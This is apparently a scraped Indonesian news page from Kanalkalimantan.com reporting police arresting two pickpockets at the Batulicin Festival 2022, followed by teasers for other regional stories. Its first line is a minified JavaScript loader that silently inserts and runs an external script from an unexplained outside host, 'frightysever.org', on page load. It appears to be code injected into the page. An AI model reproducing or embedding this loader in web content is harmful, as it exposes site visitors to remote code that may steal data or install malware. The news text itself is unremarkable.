(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Unit Resmob Satreskrim Polres Tanah Bumbu membekuk dua pelaku pencopetan di glora pesta rakyat, Batulicin Festival (Batfest) 2022.
Pesta rakyat yang berlangsung 27-31 Desember 2022 di pantai Jhonlin Group, rupanya menjadi sasaran empuk 2 pencopet. Namun, mereka akhirnya dapat dibekuk polisi.
Kapolres Tanbu, AKBP Tri Hambodo melalui Kasat Reskrim, AKP Endris Ary Dinindra didampingi Kasi Humas, AKP Sarianto mengungkapkan, kedua pelaku telah tertangkap tangan saat melakukan aksi pencopetan barang milik pengunjung Batfest 2022.
“Pelaku seorang pria dan wanita berinisial SA (56) dan MS (41) asal Jawa Timur,†bebernya di ruang kerja Mapolres Tanah Bumbu, Senin (2/1/2023).
Baca juga : DKPP Tanbu Panen Penangkaran Padi Varietas Inpari IR Nutri Zinc
Saat diamankan petugas unit Resmob yang dipimpin oleh Bripka Robinson, dari tangan kedua pelaku ditemukan barang bukti 10 unit handphone hasil kejahatan.
“Barang bukti lain sempat dikirim melalui ekspedisi Tiki, kemudian oleh petugas meminta agar pengiriman dibatalkan lantaran barang hasil kejahatan. Setelah dikembalikan, ada 12 unit handphone dalam paket yang sebelumnya sudah tiba di Banjarmasin dan akan dikirim ke Jawa Timur,†terangnya.
Ia melanjutkan, penangkapan pelaku berawal dari laporan para korban pencopetan yang merupakan pengunjung Batfest 2022 di Kecamatan Simpang Empat.
“Salah satu korban ada yang sempat memvideo pelaku wanita saat beraksi. Jadi, dari video tersebut awal kita melakukan penyelidikan hingga penangkapan,†jelas dia.
Baca juga : Ratusan ASN dan Tenaga Honorer Pemkab Lamandau Test Urine
Diduga kedua pelaku merupakan komplotan dari jaringan pencuri atau copet antar pulau yang kerap beraksi digelaran acara-acara besar.
“Kedua pelaku datang dari Jawa Timur, dan baru 2 hari ada di Tanah Bumbu untuk beraksi, sebelum akhirnya tertangkap,†lanjutnya.
Kedua pelaku terancam dijerat Pasal 363 KUHP tentang pencurian dengan pemberatan.
“Ancaman hukuman 7 tahun penjara,†katanya.
“Para korban yang merasa kehilangan atau kecopetan pada saat berada di area Batfest Tahun 2022, segera membuat laporan ke Polres Tanah Bumbu dengan membawa bukti kepemilikan handphone seperti kotak handphone untuk memastikan,†pungkasnya. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.